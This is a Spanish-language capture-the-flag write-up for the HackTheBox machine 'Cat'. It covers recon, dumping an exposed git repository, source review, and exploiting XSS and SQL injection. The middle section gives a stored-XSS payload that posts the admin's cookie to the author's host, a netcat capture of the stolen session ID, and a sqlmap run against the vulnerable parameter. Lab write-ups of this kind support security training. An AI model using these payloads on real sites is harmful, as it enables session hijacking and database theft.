This page looks best with JavaScript enabled

HackTheBox - Cat

Cat expone un repositorio en el sitio web que tras analizarlo se descubrio una vulnerabilidad XSS y SQLi las cuales permitieron la lectura de la base de datos y posteriormente el acceso a un primer usuario. Se encontro la contrasena de un segundo usuario en los logs de Apache. Para la escalada de privilegios se exploto una vulnerabilidad en Gitea la cual permitio la lectura de un repositorio donde se descubrio la contrasena para root.

Nombre Cat box_img_maker
OS

Linux

Puntos 30
Dificultad Medium
Fecha de Salida 2025-02-01
IP 10.10.11.53
Maker

FisMatHack

Rated
{
    "type": "bar",
    "data":  {
        "labels": ["Cake", "VeryEasy", "Easy", "TooEasy", "Medium", "BitHard","Hard","TooHard","ExHard","BrainFuck"],
        "datasets": [{
            "label": "User Rated Difficulty",
            "data": [86, 72, 249, 595, 1001, 542, 417, 137, 39, 122],
            "backgroundColor": ["#9fef00","#9fef00","#9fef00", "#ffaf00","#ffaf00","#ffaf00","#ffaf00", "#ff3e3e","#ff3e3e","#ff3e3e"]
        }]
    },
    "options": {
        "scales": {
          "xAxes": [{"display": false}],
          "yAxes": [{"display": false}]
        },
        "legend": {"labels": {"fontColor": "white"}},
        "responsive": true
      }
}

Recon

nmap

nmap muestra multiples puertos abiertos: http (80) y ssh (22).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
# Nmap 7.95 scan initiated Thu Feb 20 00:06:44 2025 as: /usr/lib/nmap/nmap --privileged -p22,80 -sV -sC -oN nmap_scan 10.10.11.53
Nmap scan report for 10.10.11.53
Host is up (0.066s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 96:2d:f5:c6:f6:9f:59:60:e5:65:85:ab:49:e4:76:14 (RSA)
|   256 9e:c4:a4:40:e9:da:cc:62:d1:d6:5a:2f:9e:7b:d4:aa (ECDSA)
|_  256 6e:22:2a:6a:6d:eb:de:19:b7:16:97:c2:7e:89:29:d5 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://cat.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Feb 20 00:06:54 2025 -- 1 IP address (1 host up) scanned in 9.43 seconds

Web Site

El sitio web nos redirige al dominio cat.htb el cual agregamos al archivo /etc/hosts.

1
2
3
4
5
6
7
8
❯ curl -sI 10.10.11.53
HTTP/1.1 301 Moved Permanently
Date: Thu, 20 Feb 2025 05:11:04 GMT
Server: Apache/2.4.41 (Ubuntu)
Location: http://cat.htb/
Content-Type: text/html; charset=iso-8859-1

El sitio tiene tematica de: “mejor concurso de gatos”.

image
image
image

Se observa en Contest y Join un formulario de registro y Login.

image
image

Web Tech

wappalyzer nos muestra la tecnologia utilizada por el sitio: PHP, Apache y Ubuntu.

image

Directory Brute Forcing

feroxbuster muestra el directorio .git/ y archivo HEAD, probablemente un repositorio expuesto.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
❯ feroxbuster -u http://cat.htb/ -w $CM
                                                                                                                                                                                        
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://cat.htb/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirb/common.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.11.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        9l       31w      269c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET        9l       28w      272c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET        1l        2w       23c http://cat.htb/.git/HEAD
302      GET        1l        0w        1c http://cat.htb/contest.php => http://cat.htb/join.php
200      GET      196l      415w     5082c http://cat.htb/winners.php
200      GET       41l       83w     1242c http://cat.htb/vote.php
200      GET      127l      270w     2900c http://cat.htb/css/styles.css
302      GET        1l        0w        1c http://cat.htb/admin.php => http://cat.htb/join.php
301      GET        9l       28w      300c http://cat.htb/css => http://cat.htb/css/
200      GET      140l      327w     4004c http://cat.htb/join.php
200      GET      129l      285w     3075c http://cat.htb/
301      GET        9l       28w      300c http://cat.htb/img => http://cat.htb/img/
200      GET      129l      285w     3075c http://cat.htb/index.php
301      GET        9l       28w      304c http://cat.htb/uploads => http://cat.htb/uploads/
200      GET      127l      270w     2900c http://cat.htb/css/styles

El directorio .git/ no es accesible pero si el archivo HEAD.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
❯ curl -sI http://cat.htb/.git/
HTTP/1.1 403 Forbidden
Date: Fri, 21 Feb 2025 07:04:23 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Type: text/html; charset=iso-8859-1

❯ curl -sI http://cat.htb/.git/HEAD
HTTP/1.1 200 OK
Date: Fri, 21 Feb 2025 07:04:26 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Sat, 31 Aug 2024 23:26:04 GMT
ETag: "17-62103081888f0"
Accept-Ranges: bytes
Content-Length: 23

Cat - Repository

Ejecutamos git-dumper para extraer el repositorio expuesto.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
❯ ~/.local/bin/git-dumper http://cat.htb/.git/ cat_site
[-] Testing http://cat.htb/.git/HEAD [200]
[-] Testing http://cat.htb/.git/ [403]
[-] Fetching common files
[-] Fetching http://cat.htb/.gitignore [404]
[-] http://cat.htb/.gitignore responded with status code 404
[-] Fetching http://cat.htb/.git/COMMIT_EDITMSG [200]
[-] Fetching http://cat.htb/.git/description [200]
[...] snip [...]
[-] Fetching http://cat.htb/.git/objects/38/660821153b31dbbee89396eacf974c095ab0dc [200]
[-] Fetching http://cat.htb/.git/objects/58/62718ef94b524f3e36627e6f2eae1e3570a7f4 [200]
[-] Fetching http://cat.htb/.git/objects/56/03bb235ee634e1d7914def967c26f9dd0963bb [200]
[-] Fetching http://cat.htb/.git/objects/09/7745b30047ab3d3e6e0c5239c2dfd5cac308a5 [200]
[-] Fetching http://cat.htb/.git/objects/b7/df8d295f9356332f9619ae5ecec3230a880ef2 [200]
[-] Fetching http://cat.htb/.git/objects/31/e87489c5f8160f895e941d00087bea94f21315 [200]
[-] Fetching http://cat.htb/.git/objects/c9/e281ffb3f5431800332021326ba5e97aeb2764 [200]
[-] Fetching http://cat.htb/.git/objects/6f/ae98c9ae65a9ecbf37e821e7bafb48bcdac2bc [200]
[-] Fetching http://cat.htb/.git/objects/0f/fa90ae01a4f353aa2f6b2de03c212943412222 [200]
[-] Fetching http://cat.htb/.git/objects/cf/8166a8873d413e6afd88fa03305880e795a2c6 [200]
[-] Fetching http://cat.htb/.git/objects/9b/e1a76f22449a7876a712d34dc092f477169c36 [200]
[-] Fetching http://cat.htb/.git/objects/48/21d0cd8fecc8c3579be5735b1aab69f1637c86 [200]
[-] Fetching http://cat.htb/.git/objects/7b/a662bf012ce71d0db9e86c80386b7ae0a54ea1 [200]
[-] Running git checkout .

Encontramos un unico commit hecho por el usuario axel, varias imagenes y archivos PHP.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
❯ git log
commit 8c2c2701eb4e3c9a42162cfb7b681b6166287fd5 (HEAD -> master)
Author: Axel <axel2017@gmail.com>
Date:   Sat Aug 31 23:26:14 2024 +0000

    Cat v1
❯ tree .
.
├── accept_cat.php
├── admin.php
├── config.php
├── contest.php
├── css
│   └── styles.css
├── delete_cat.php
├── img
│   ├── cat1.jpg
│   ├── cat2.png
│   └── cat3.webp
├── img_winners
│   ├── cat1.jpg
│   ├── cat2.png
│   └── cat3.webp
├── index.php
├── join.php
├── logout.php
├── view_cat.php
├── vote.php
├── winners
│   └── cat_report_20240831_173129.php
└── winners.php

5 directories, 19 files

Source Code

Encontramos que el sitio web utiliza una base de datos sqlite.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
// config.php
<?php
// Database configuration
$db_file = '/databases/cat.db';

// Connect to the database
try {
    $pdo = new PDO("sqlite:$db_file");
    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
} catch (PDOException $e) {
    die("Error: " . $e->getMessage());
}
?>

En admin.php muestra que solo el usuario axel puede acceder y, acepta o rechaza “concursantes”.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
<?php
session_start();

include 'config.php';

// Check if the user is logged in
if (!isset($_SESSION['username']) || $_SESSION['username'] !== 'axel') {
    header("Location: /join.php");
    exit();
}

// Fetch cat data from the database
$stmt = $pdo->prepare("SELECT * FROM cats");
$stmt->execute();
$cats = $stmt->fetchAll(PDO::FETCH_ASSOC);
?>

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>My Cats - Best Cat Community</title>
<link rel="stylesheet" href="css/styles.css">

</head>
<body>

    <div class="navbar">
        <a href="/">Home</a>
        <a href="/vote.php">Vote</a>
        <a href="/contest.php">Contest</a>
        <?php
        if (isset($_SESSION['username'])) {
            // If user is logged in
            if ($_SESSION['username'] == 'axel') {
                // If the logged in user is admin
                echo '<a href="/winners.php">Winners</a>';
                echo '<a href="/admin.php">Admin</a>';
            }
            echo '<a href="/logout.php">Logout</a>';
        } else {
            // If no user is logged in
            echo '<a href="/join.php">Join</a>';
        }
        ?>
</div>

<div class="container">
    <h1>My Cats</h1>
    <?php foreach ($cats as $cat): ?>
        <div class="cat-card">
            <img src="<?php echo htmlspecialchars($cat['photo_path']); ?>" alt="<?php echo htmlspecialchars($cat['cat_name']); ?>" class="cat-photo">
            <div class="cat-info">
                <strong>Name:</strong> <?php echo htmlspecialchars($cat['cat_name']); ?><br>
            </div>
            <button class="view-button" onclick="window.location.href='/view_cat.php?cat_id=<?php echo htmlspecialchars($cat['cat_id']); ?>'">View</button>
            <button class="accept-button" onclick="acceptCat('<?php echo htmlspecialchars($cat['cat_name']); ?>', <?php echo htmlspecialchars($cat['cat_id']); ?>)">Accept</button>
            <button class="reject-button" onclick="rejectCat(<?php echo htmlspecialchars($cat['cat_id']); ?>)">Reject</button>
        </div>
    <?php endforeach; ?>
</div>

<script>
    function acceptCat(catName, catId) {
       if (confirm("Are you sure you want to accept this cat?")) {
            var xhr = new XMLHttpRequest();
            xhr.open("POST", "accept_cat.php", true);
            xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
            xhr.onreadystatechange = function() {
                if (xhr.readyState === 4 && xhr.status === 200) {
                    window.location.reload();
                }
            };
            xhr.send("catName=" + encodeURIComponent(catName) + "&catId=" + catId);
        }
    }

    function rejectCat(catId) {
        if (confirm("Are you sure you want to reject this cat?")) {
            var xhr = new XMLHttpRequest();
            xhr.open("POST", "delete_cat.php", true);
            xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
            xhr.onreadystatechange = function() {
                if (xhr.readyState === 4 && xhr.status === 200) {
                    window.location.reload();
                }
            };
            xhr.send("catId=" + catId);
        }
    }
</script>

</body>
</html>

En contest.php, es posible registrar un “concursante” que luego es “revisado”, probablemente por axel, ademas la mayoria de los valores pasan por un filtro, y solo acepta imagenes.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
//contest.php
<?php
session_start();

include 'config.php';

// Message variables
$success_message = "";
$error_message = "";

// Check if the user is logged in
if (!isset($_SESSION['username'])) {
    header("Location: /join.php");
    exit();
}

// Function to check for forbidden content
function contains_forbidden_content($input, $pattern) {
    return preg_match($pattern, $input);
}

// Check if the form has been submitted
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    // Capture form data
    $cat_name = $_POST['cat_name'];
    $age = $_POST['age'];
    $birthdate = $_POST['birthdate'];
    $weight = $_POST['weight'];

    $forbidden_patterns = "/[+*{}',;<>()\\[\\]\\/\\:]/";

    // Check for forbidden content
    if (contains_forbidden_content($cat_name, $forbidden_patterns) ||
        contains_forbidden_content($age, $forbidden_patterns) ||
        contains_forbidden_content($birthdate, $forbidden_patterns) ||
        contains_forbidden_content($weight, $forbidden_patterns)) {
        $error_message = "Your entry contains invalid characters.";
    } else {
        // Generate unique identifier for the image
        $imageIdentifier = uniqid() . "_";

        // Upload cat photo
        // uploads/_
        $target_dir = "uploads/";
        $target_file = $target_dir . $imageIdentifier . basename($_FILES["cat_photo"]["name"]);
        $uploadOk = 1;
        $imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));

        // Check if the file is an actual image or a fake file
        $check = getimagesize($_FILES["cat_photo"]["tmp_name"]);
        if($check !== false) {
            $uploadOk = 1;
        } else {
            $error_message = "Error: The file is not an image.";
            $uploadOk = 0;
        }

        // Check if the file already exists
        if (file_exists($target_file)) {
            $error_message = "Error: The file already exists.";
            $uploadOk = 0;
        }

        // Check file size
        if ($_FILES["cat_photo"]["size"] > 500000) {
            $error_message = "Error: The file is too large.";
            $uploadOk = 0;
        }

        // Allow only certain file formats
        if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg") {
            $error_message = "Error: Only JPG, JPEG, and PNG files are allowed.";
            $uploadOk = 0;
        }

        // Check if $uploadOk is set to 0 by an error
        if ($uploadOk == 0) {
        } else {
            if (move_uploaded_file($_FILES["cat_photo"]["tmp_name"], $target_file)) {
                // Prepare SQL query to insert cat data
                $stmt = $pdo->prepare("INSERT INTO cats (cat_name, age, birthdate, weight, photo_path, owner_username) VALUES (:cat_name, :age, :birthdate, :weight, :photo_path, :owner_username)");
                // Bind parameters
                $stmt->bindParam(':cat_name', $cat_name, PDO::PARAM_STR);
                $stmt->bindParam(':age', $age, PDO::PARAM_INT);
                $stmt->bindParam(':birthdate', $birthdate, PDO::PARAM_STR);
                $stmt->bindParam(':weight', $weight, PDO::PARAM_STR);
                $stmt->bindParam(':photo_path', $target_file, PDO::PARAM_STR);
                $stmt->bindParam(':owner_username', $_SESSION['username'], PDO::PARAM_STR);
                // Execute query
                if ($stmt->execute()) {
                    $success_message = "Cat has been successfully sent for inspection.";
                } else {
                    $error_message = "Error: There was a problem registering the cat.";
                }
            } else {
                $error_message = "Error: There was a problem uploading the file.";
            }
        }
    }
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Contest - Best Cat Community</title>
<link rel="stylesheet" href="css/styles.css">

</head>
<body>

    <div class="navbar">
        <a href="/">Home</a>
        <a href="/vote.php">Vote</a>
        <a href="/contest.php">Contest</a>
        <a href="/winners.php">Winners</a>
        <?php
        if (isset($_SESSION['username'])) {
            // If the user is logged in
            if ($_SESSION['username'] == 'axel') {
                // If the logged in user is admin
                echo '<a href="/admin.php">Admin</a>';
            }
            echo '<a href="/logout.php">Logout</a>';
        } else {
            // If no user is logged in
            echo '<a href="/join.php">Join</a>';
        }
        ?>
    </div>

    <div class="container">
        <h1>Contest - Best Cat Community</h1>
        <?php if ($success_message): ?>
            <div class="message"><?php echo $success_message; ?></div>
        <?php endif; ?>
        <?php if ($error_message): ?>
            <div class="error-message"><?php echo $error_message; ?></div>
        <?php endif; ?>
        <form method="post" enctype="multipart/form-data">
            <label for="cat_name">Cat Name:</label>
            <input type="text" id="cat_name" name="cat_name" required>
            <label for="age">Cat Age:</label>
            <input type="number" id="age" name="age" required>
            <label for="birthdate">Cat Birthdate:</label>
            <input type="date" id="birthdate" name="birthdate" required>
            <label for="weight">Cat Weight (in kg):</label>
            <input type="number" id="weight" name="weight" step="0.01" required>
            <label for="cat_photo">Cat Photo:</label>
            <input type="file" id="cat_photo" name="cat_photo" accept="image/*" required>
            <input type="submit" value="Register Cat">
        </form>
    </div>

</body>
</html>

accept_cat.php permite manipular el query sql por medio de catName, por lo que podria tratarse de una vulnrabilidad SQLi.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
//accept_cat.php
<?php
include 'config.php';
session_start();

if (isset($_SESSION['username']) && $_SESSION['username'] === 'axel') {
    if ($_SERVER["REQUEST_METHOD"] == "POST") {
        if (isset($_POST['catId']) && isset($_POST['catName'])) {
            $cat_name = $_POST['catName'];
            $catId = $_POST['catId'];
            $sql_insert = "INSERT INTO accepted_cats (name) VALUES ('$cat_name')";
            $pdo->exec($sql_insert);

            $stmt_delete = $pdo->prepare("DELETE FROM cats WHERE cat_id = :cat_id");
            $stmt_delete->bindParam(':cat_id', $catId, PDO::PARAM_INT);
            $stmt_delete->execute();

            echo "The cat has been accepted and added successfully.";
        } else {
            echo "Error: Cat ID or Cat Name not provided.";
        }
    } else {
        header("Location: /");
        exit();
    }
} else {
    echo "Access denied.";
}
?>

join.php a diferencia de contest.php no tiene ningun tipo de filtro para el registro o login de usuarios, por lo que podriamos registrar con diferentes caracteres.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
<?php
session_start();

include 'config.php';

$success_message = "";
$error_message = "";

// Registration process
if ($_SERVER["REQUEST_METHOD"] == "GET" && isset($_GET['registerForm'])) {
    $username = $_GET['username'];
    $email = $_GET['email'];
    $password = md5($_GET['password']);

    $stmt_check = $pdo->prepare("SELECT * FROM users WHERE username = :username OR email = :email");
    $stmt_check->execute([':username' => $username, ':email' => $email]);
    $existing_user = $stmt_check->fetch(PDO::FETCH_ASSOC);

    if ($existing_user) {
        $error_message = "Error: Username or email already exists.";
    } else {
        $stmt_insert = $pdo->prepare("INSERT INTO users (username, email, password) VALUES (:username, :email, :password)");
        $stmt_insert->execute([':username' => $username, ':email' => $email, ':password' => $password]);

        if ($stmt_insert) {
            $success_message = "Registration successful!";
        } else {
            $error_message = "Error: Unable to register user.";
        }
    }
}

// Login process
if ($_SERVER["REQUEST_METHOD"] == "GET" && isset($_GET['loginForm'])) {
    $username = $_GET['loginUsername'];
    $password = md5($_GET['loginPassword']);

    $stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username");
    $stmt->execute([':username' => $username]);
    $user = $stmt->fetch(PDO::FETCH_ASSOC);

    if ($user && $password === $user['password']) {
        $_SESSION['username'] = $user['username'];
        header("Location: /");
        exit();
    } else {
        $error_message = "Incorrect username or password.";
    }
}
?>


<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Join the Best Cat Community</title>
<link rel="stylesheet" href="css/styles.css">

</head>
<body>

<div class="navbar">
    <a href="/">Home</a>
    <a href="/vote.php">Vote</a>
    <a href="/contest.php">Contest</a>
    <a href="/winners.php">Winners</a>
    <a href="/join.php">Join</a>
</div>

<div class="container">
    <h1>Join the Best Cat Community</h1>
    <?php if ($success_message != ""): ?>
        <div class="message"><?php echo $success_message; ?></div>
    <?php endif; ?>
    <?php if ($error_message != ""): ?>
        <div class="error-message"><?php echo $error_message; ?></div>
    <?php endif; ?>
    <div class="card register">
        <center><h2>Register</h2></center>
        <form id="registerForm" method="get">
            <label for="username">Username:</label>
            <input type="text" id="username" name="username" required>
            <label for="email">Email:</label>
            <input type="email" id="email" name="email" required>
            <label for="password">Password:</label>
            <input type="password" id="password" name="password" required>
            <input type="submit" name="registerForm" value="Register">
        </form>
    </div>
    <div class="card login" style="display: none;">
        <center><h2>Login</h2></center>
        <form id="loginForm" method="get">
            <label for="loginUsername">Username:</label>
            <input type="text" id="loginUsername" name="loginUsername" required>
            <label for="loginPassword">Password:</label>
            <input type="password" id="loginPassword" name="loginPassword" required>
            <input type="submit" name="loginForm" value="Login">
        </form>
    </div>
    <div class="toggle-link">
        <a href="#" id="toggleForm">Already have an account?</a>
    </div>
</div>

<script>
    var toggleLink = document.getElementById("toggleForm");
    var registerForm = document.querySelector(".register");
    var loginForm = document.querySelector(".login");

    toggleLink.addEventListener("click", function(event) {
        event.preventDefault();
        if (registerForm.style.display === "block") {
            registerForm.style.display = "none";
            loginForm.style.display = "block";
            toggleLink.textContent = "Register"; // Changed text
        } else {
            registerForm.style.display = "block";
            loginForm.style.display = "none";
            toggleLink.textContent = "Already have an account?"; // Changed text
        }
    });
</script>

</body>
</html>

view_cat.php a traves de un ID muestra la informacion del “concursante” y el usuario quien lo registro.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
<?php
session_start();

include 'config.php';

// Check if the user is logged in
if (!isset($_SESSION['username']) || $_SESSION['username'] !== 'axel') {
    header("Location: /join.php");
    exit();
}

// Get the cat_id from the URL
$cat_id = isset($_GET['cat_id']) ? $_GET['cat_id'] : null;

if ($cat_id) {
    // Prepare and execute the query
    $query = "SELECT cats.*, users.username FROM cats JOIN users ON cats.owner_username = users.username WHERE cat_id = :cat_id";
    $statement = $pdo->prepare($query);
    $statement->bindParam(':cat_id', $cat_id, PDO::PARAM_INT);
    $statement->execute();

    // Fetch cat data from the database
    $cat = $statement->fetch(PDO::FETCH_ASSOC);

    if (!$cat) {
        die("Cat not found.");
    }
} else {
    die("Invalid cat ID.");
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title><?php echo htmlspecialchars($cat['cat_name']); ?> - Cat Details</title>
<link rel="stylesheet" href="css/styles.css">

</head>
<body>

    <div class="navbar">
        <a href="/">Home</a>
        <a href="/vote.php">Vote</a>
        <a href="/contest.php">Contest</a>
        <?php
        if (isset($_SESSION['username'])) {
            // If user is logged in
            if ($_SESSION['username'] == 'axel') {
                // If the logged in user is admin
                echo '<a href="/admin.php">Admin</a>';
            }
            echo '<a href="/logout.php">Logout</a>';
        } else {
            // If no user is logged in
            echo '<a href="/join.php">Join</a>';
        }
        ?>
</div>

<div class="container">
    <h1>Cat Details: <?php echo $cat['cat_name']; ?></h1>
    <img src="<?php echo $cat['photo_path']; ?>" alt="<?php echo $cat['cat_name']; ?>" class="cat-photo">
    <div class="cat-info">
        <strong>Name:</strong> <?php echo $cat['cat_name']; ?><br>
        <strong>Age:</strong> <?php echo $cat['age']; ?><br>
        <strong>Birthdate:</strong> <?php echo $cat['birthdate']; ?><br>
        <strong>Weight:</strong> <?php echo $cat['weight']; ?> kg<br>
        <strong>Owner:</strong> <?php echo $cat['username']; ?><br>
        <strong>Created At:</strong> <?php echo $cat['created_at']; ?>
    </div>
</div>

</body>
</html>

Con lo anterior, probablemente debemos de acceder como axel al sitio para luego intentar explotar la vulnerabilidad SLQi en accept_cat.php.

Axel via XSS

Como sabemos el concursante al ser revisado muestra la informacion del usuario, por lo que podriamos obtener la cookie de axel a traves del registro de un usuario con un payload en javascript, luego, registrar un concursante y esperar que sea revisado.

Registramos un nuevo usuario con el payload para obtener la cookie.

1
<script>fetch('http://10.10.15.106',{method:'POST',body:document.cookie});</script>

image

Tras acceder con el usuario registrado, podemos rellenar el formulario para un nuevo concursante.

image

Tras ello se muestra el mensaje para su revision.

image

Colocamos netcat a la escucha por el puerto 80 y observamos que se nos envio la cookie de axel.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
❯ sudo nc -lvvp 80
listening on [any] 80 ...
connect to [10.10.15.106] from cat.htb [10.10.11.53] 49382
POST / HTTP/1.1
Host: 10.10.15.106
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://cat.htb/
Content-Type: text/plain;charset=UTF-8
Content-Length: 36
Origin: http://cat.htb
Connection: keep-alive
Priority: u=4

PHPSESSID=sipukack6q0rgjvc4olnjsi63l sent 0, rcvd 394

SQL Injection

En /admin.php podemos ver todos los concursantes, como sabemos existe una posible vulnerabilidad en accept_cat.php, con un concursante ya registrado, aceptamos y guardamos la solicitud realizada.

image

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
❯ cat accept_req
POST /accept_cat.php HTTP/1.1
Host: cat.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 23
Origin: http://cat.htb
Connection: keep-alive
Referer: http://cat.htb/admin.php
Cookie: PHPSESSID=sipukack6q0rgjvc4olnjsi63l
Priority: u=0

catName=ae&catId=1

Ejecutamos sqlmap con el archivo de solicitud especificando el parametro catName e intentando enumerar las tablas de la base de datos sqlite. Observamos que existen cuatro tablas.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
❯ sqlmap -r accept_req --dbms sqlite --risk 3 --level 5 --batch --tables -p catName
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.9#stable}
|_ -| . [(]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 05:30:08 /2025-02-20/

[05:30:08] [INFO] parsing HTTP request from 'accept_req'
it appears that provided value for POST parameter 'catName' has boundaries. Do you want to inject inside? ('"hello*"') [y/N] N
[05:30:09] [INFO] testing connection to the target URL
[05:30:09] [INFO] checking if the target is protected by some kind of WAF/IPS
[05:30:09] [INFO] testing if the target URL content is stable
[05:30:09] [INFO] target URL content is stable
[05:30:09] [WARNING] heuristic (basic) test shows that POST parameter 'catName' might not be injectable
[05:30:09] [INFO] testing for SQL injection on POST parameter 'catName'
[05:30:09] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[05:30:16] [INFO] POST parameter 'catName' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --code=200)
[05:30:16] [INFO] testing 'Generic inline queries'
[05:30:16] [INFO] testing 'SQLite inline queries'
[05:30:16] [INFO] testing 'SQLite > 2.0 stacked queries (heavy query - comment)'
[05:30:16] [INFO] testing 'SQLite > 2.0 stacked queries (heavy query)'
[05:30:16] [INFO] testing 'SQLite > 2.0 AND time-based blind (heavy query)'
[05:30:23] [INFO] POST parameter 'catName' appears to be 'SQLite > 2.0 AND time-based blind (heavy query)' injectable 
[05:30:23] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[05:30:23] [INFO] testing 'Generic UNION query (random number) - 1 to 20 columns'
[05:30:23] [INFO] testing 'Generic UNION query (NULL) - 21 to 40 columns'
[05:30:23] [INFO] testing 'Generic UNION query (random number) - 21 to 40 columns'
[05:30:23] [INFO] testing 'Generic UNION query (NULL) - 41 to 60 columns'
[05:30:23] [INFO] testing 'Generic UNION query (random number) - 41 to 60 columns'
